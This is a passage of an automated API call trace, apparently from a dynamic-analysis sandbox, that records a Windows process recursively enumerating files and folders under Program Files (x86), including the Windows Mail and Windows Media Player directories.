(x86)\\Windows Mail\\msoe.dll" [0041.589] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\msoe.dll") returned 44 [0041.589] lstrcpyW (in: lpString1=0x927b28, lpString2="c:\\Program Files (x86)\\Windows Mail\\msoe.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\msoe.dll") returned="c:\\Program Files (x86)\\Windows Mail\\msoe.dll" [0041.589] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.589] lstrcmpW (lpString1="MSOERES.dll", lpString2=".") returned 1 [0041.589] lstrcmpW (lpString1="MSOERES.dll", lpString2="..") returned 1 [0041.589] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0041.589] lstrlenW (lpString="MSOERES.dll") returned 11 [0041.589] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="MSOERES.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\MSOERES.dll") returned="c:\\Program Files (x86)\\Windows Mail\\MSOERES.dll" [0041.589] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\MSOERES.dll") returned 47 [0041.589] lstrcpyW (in: lpString1=0x927b90, lpString2="c:\\Program Files (x86)\\Windows Mail\\MSOERES.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\MSOERES.dll") returned="c:\\Program Files (x86)\\Windows Mail\\MSOERES.dll" [0041.589] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.589] lstrcmpW (lpString1="oeimport.dll", lpString2=".") returned 1 [0041.589] lstrcmpW (lpString1="oeimport.dll", lpString2="..") returned 1 [0041.589] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0041.589] lstrlenW (lpString="oeimport.dll") returned 12 [0041.589] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="oeimport.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\oeimport.dll") returned="c:\\Program Files (x86)\\Windows Mail\\oeimport.dll" [0041.589] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\oeimport.dll") returned 48 [0041.589] lstrcpyW (in: lpString1=0x924b78, lpString2="c:\\Program Files (x86)\\Windows Mail\\oeimport.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\oeimport.dll") returned="c:\\Program Files (x86)\\Windows Mail\\oeimport.dll" [0041.589] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.589] lstrcmpW (lpString1="wab.exe", lpString2=".") returned 1 [0041.589] lstrcmpW (lpString1="wab.exe", lpString2="..") returned 1 [0041.589] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0041.589] lstrlenW (lpString="wab.exe") returned 7 [0041.589] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="wab.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wab.exe") returned="c:\\Program Files (x86)\\Windows Mail\\wab.exe" [0041.589] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\wab.exe") returned 43 [0041.589] lstrcpyW (in: lpString1=0x927bf8, lpString2="c:\\Program Files (x86)\\Windows Mail\\wab.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wab.exe") returned="c:\\Program Files (x86)\\Windows Mail\\wab.exe" [0041.589] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.589] lstrcmpW (lpString1="wabfind.dll", lpString2=".") returned 1 [0041.589] lstrcmpW (lpString1="wabfind.dll", lpString2="..") returned 1 [0041.589] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0041.589] lstrlenW (lpString="wabfind.dll") returned 11 [0041.589] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="wabfind.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wabfind.dll") returned="c:\\Program Files (x86)\\Windows Mail\\wabfind.dll" [0041.589] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\wabfind.dll") returned 47 [0041.589] lstrcpyW (in: lpString1=0x927c58, lpString2="c:\\Program Files (x86)\\Windows Mail\\wabfind.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wabfind.dll") returned="c:\\Program Files (x86)\\Windows Mail\\wabfind.dll" [0041.589] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.589] lstrcmpW (lpString1="wabimp.dll", lpString2=".") returned 1 [0041.589] lstrcmpW (lpString1="wabimp.dll", lpString2="..") returned 1 [0041.589] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0041.589] lstrlenW (lpString="wabimp.dll") returned 10 [0041.589] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="wabimp.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wabimp.dll") returned="c:\\Program Files (x86)\\Windows Mail\\wabimp.dll" [0041.589] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\wabimp.dll") returned 46 [0041.589] lstrcpyW (in: lpString1=0x927cc0, lpString2="c:\\Program Files (x86)\\Windows Mail\\wabimp.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wabimp.dll") returned="c:\\Program Files (x86)\\Windows Mail\\wabimp.dll" [0041.589] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.589] lstrcmpW (lpString1="wabmig.exe", lpString2=".") returned 1 [0041.589] lstrcmpW (lpString1="wabmig.exe", lpString2="..") returned 1 [0041.589] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0041.589] lstrlenW (lpString="wabmig.exe") returned 10 [0041.589] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="wabmig.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wabmig.exe") returned="c:\\Program Files (x86)\\Windows Mail\\wabmig.exe" [0041.590] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\wabmig.exe") returned 46 [0041.590] lstrcpyW (in: lpString1=0x927d28, lpString2="c:\\Program Files (x86)\\Windows Mail\\wabmig.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wabmig.exe") returned="c:\\Program Files (x86)\\Windows Mail\\wabmig.exe" [0041.590] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.590] lstrcmpW (lpString1="WinMail.exe", lpString2=".") returned 1 [0041.590] lstrcmpW (lpString1="WinMail.exe", lpString2="..") returned 1 [0041.590] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0041.590] lstrlenW (lpString="WinMail.exe") returned 11 [0041.590] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="WinMail.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\WinMail.exe") returned="c:\\Program Files (x86)\\Windows Mail\\WinMail.exe" [0041.590] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\WinMail.exe") returned 47 [0041.590] lstrcpyW (in: lpString1=0x927d90, lpString2="c:\\Program Files (x86)\\Windows Mail\\WinMail.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\WinMail.exe") returned="c:\\Program Files (x86)\\Windows Mail\\WinMail.exe" [0041.590] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.590] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.590] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.590] lstrcmpW (lpString1="Windows Media Player", lpString2=".") returned 1 [0041.590] lstrcmpW (lpString1="Windows Media Player", lpString2="..") returned 1 [0041.590] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0041.590] lstrlenW (lpString="Windows Media Player") returned 20 [0041.590] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows Media Player" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player") returned="c:\\Program Files (x86)\\Windows Media Player" [0041.590] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\") returned="c:\\Program Files (x86)\\Windows Media Player\\" [0041.590] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0041.590] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\*" [0041.590] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.590] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.590] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.590] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.590] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.590] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.590] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0041.590] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0041.590] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0041.590] lstrlenW (lpString="en-US") returned 5 [0041.590] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US" [0041.590] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\" [0041.590] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0041.590] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\*" [0041.590] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\en-US\\*", lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0x3b5d58 [0041.590] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.590] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.590] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.590] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.590] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.590] lstrcmpW (lpString1="mpvis.dll.mui", lpString2=".") returned 1 [0041.591] lstrcmpW (lpString1="mpvis.dll.mui", lpString2="..") returned 1 [0041.591] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0041.591] lstrlenW (lpString="mpvis.dll.mui") returned 13 [0041.591] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="mpvis.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui" [0041.591] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui") returned 63 [0041.591] lstrcpyW (in: lpString1=0x922600, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui" [0041.591] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.591] lstrcmpW (lpString1="setup_wm.exe.mui", lpString2=".") returned 1 [0041.591] lstrcmpW (lpString1="setup_wm.exe.mui", lpString2="..") returned 1 [0041.591] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0041.591] lstrlenW (lpString="setup_wm.exe.mui") returned 16 [0041.591] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="setup_wm.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui" [0041.591] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui") returned 66 [0041.591] lstrcpyW (in: lpString1=0x927df8, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui" [0041.591] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.591] lstrcmpW (lpString1="wmlaunch.exe.mui", lpString2=".") returned 1 [0041.591] lstrcmpW (lpString1="wmlaunch.exe.mui", lpString2="..") returned 1 [0041.591] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0041.591] lstrlenW (lpString="wmlaunch.exe.mui") returned 16 [0041.591] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="wmlaunch.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui" [0041.591] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui") returned 66 [0041.591] lstrcpyW (in: lpString1=0x927e88, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui" [0041.591] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.591] lstrcmpW (lpString1="WMPDMC.exe.mui", lpString2=".") returned 1 [0041.591] lstrcmpW (lpString1="WMPDMC.exe.mui", lpString2="..") returned 1 [0041.591] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0041.591] lstrlenW (lpString="WMPDMC.exe.mui") returned 14 [0041.591] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="WMPDMC.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui" [0041.591] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui") returned 64 [0041.591] lstrcpyW (in: lpString1=0x927f18, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui" [0041.591] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.591] lstrcmpW (lpString1="WMPDMCCore.dll.mui", lpString2=".") returned 1 [0041.591] lstrcmpW (lpString1="WMPDMCCore.dll.mui", lpString2="..") returned 1 [0041.591] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0041.591] lstrlenW (lpString="WMPDMCCore.dll.mui") returned 18 [0041.591] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="WMPDMCCore.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui" [0041.591] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui") returned 68 [0041.591] lstrcpyW (in: lpString1=0x927fa8, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui" [0041.591] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.591] lstrcmpW (lpString1="wmplayer.exe.mui", lpString2=".") returned 1 [0041.591] lstrcmpW (lpString1="wmplayer.exe.mui", lpString2="..") returned 1 [0041.591] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0041.591] lstrlenW (lpString="wmplayer.exe.mui") returned 16 [0041.591] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="wmplayer.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui" [0041.591] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui") returned 66 [0041.591] lstrcpyW (in: lpString1=0x928040, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui" [0041.591] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.592] lstrcmpW (lpString1="WMPMediaSharing.dll.mui", lpString2=".") returned 1 [0041.592] lstrcmpW (lpString1="WMPMediaSharing.dll.mui", lpString2="..") returned 1 [0041.592] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0041.592] lstrlenW (lpString="WMPMediaSharing.dll.mui") returned 23 [0041.592] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="WMPMediaSharing.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui" [0041.592] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui") returned 73 [0041.592] lstrcpyW (in: lpString1=0x9280d0, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui" [0041.592] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.592] lstrcmpW (lpString1="wmpnssci.dll.mui", lpString2=".") returned 1 [0041.592] lstrcmpW (lpString1="wmpnssci.dll.mui", lpString2="..") returned 1 [0041.592] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0041.592] lstrlenW (lpString="wmpnssci.dll.mui") returned 16 [0041.592] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="wmpnssci.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui" [0041.592] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui") returned 66 [0041.592] lstrcpyW (in: lpString1=0x928170, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui" [0041.592] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.592] lstrcmpW (lpString1="wmpnssui.dll.mui", lpString2=".") returned 1 [0041.592] lstrcmpW (lpString1="wmpnssui.dll.mui", lpString2="..") returned 1 [0041.592] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0041.592] lstrlenW (lpString="wmpnssui.dll.mui") returned 16 [0041.592] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="wmpnssui.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui" [0041.592] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui") returned 66 [0041.592] lstrcpyW (in: lpString1=0x928200, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui" [0041.592] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0 [0041.592] FindClose (in: hFindFile=0x3b5d58 | out: hFindFile=0x3b5d58) returned 1 [0041.592] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.592] lstrcmpW (lpString1="Icons", lpString2=".") returned 1 [0041.592] lstrcmpW (lpString1="Icons", lpString2="..") returned 1 [0041.592] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0041.592] lstrlenW (lpString="Icons") returned 5 [0041.592] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="Icons" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Icons") returned="c:\\Program Files (x86)\\Windows Media Player\\Icons" [0041.592] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Icons", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Icons\\") returned="c:\\Program Files (x86)\\Windows Media Player\\Icons\\" [0041.592] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Icons\\") returned 50 [0041.592] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Icons\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Icons\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\Icons\\*" [0041.592] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\Icons\\*", lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0x3b5d58 [0041.592] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.592] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.592] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.592] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.592] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0 [0041.592] FindClose (in: hFindFile=0x3b5d58 | out: hFindFile=0x3b5d58) returned 1 [0041.592] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.592] lstrcmpW (lpString1="Media Renderer", lpString2=".") returned 1 [0041.592] lstrcmpW (lpString1="Media Renderer", lpString2="..") returned 1 [0041.593] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0041.593] lstrlenW (lpString="Media Renderer") returned 14 [0041.593] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="Media Renderer" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer" [0041.593] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\" [0041.593] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0041.593] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\*" [0041.593] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\*", lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0x3b5d58 [0041.593] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.593] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.593] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.593] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.593] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.593] lstrcmpW (lpString1="avtransport.xml", lpString2=".") returned 1 [0041.593] lstrcmpW (lpString1="avtransport.xml", lpString2="..") returned 1 [0041.593] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0041.593] lstrlenW (lpString="avtransport.xml") returned 15 [0041.593] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="avtransport.xml" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml" [0041.593] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml") returned 74 [0041.593] lstrcpyW (in: lpString1=0x928290, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml" [0041.593] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.593] lstrcmpW (lpString1="connectionmanager_dmr.xml", lpString2=".") returned 1 [0041.593] lstrcmpW (lpString1="connectionmanager_dmr.xml", lpString2="..") returned 1 [0041.593] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0041.593] lstrlenW (lpString="connectionmanager_dmr.xml") returned 25 [0041.593] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="connectionmanager_dmr.xml" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml" [0041.593] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml") returned 84 [0041.593] lstrcpyW (in: lpString1=0x928330, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml" [0041.593] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.593] lstrcmpW (lpString1="DMR_120.jpg", lpString2=".") returned 1 [0041.594] lstrcmpW (lpString1="DMR_120.jpg", lpString2="..") returned 1 [0041.594] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media 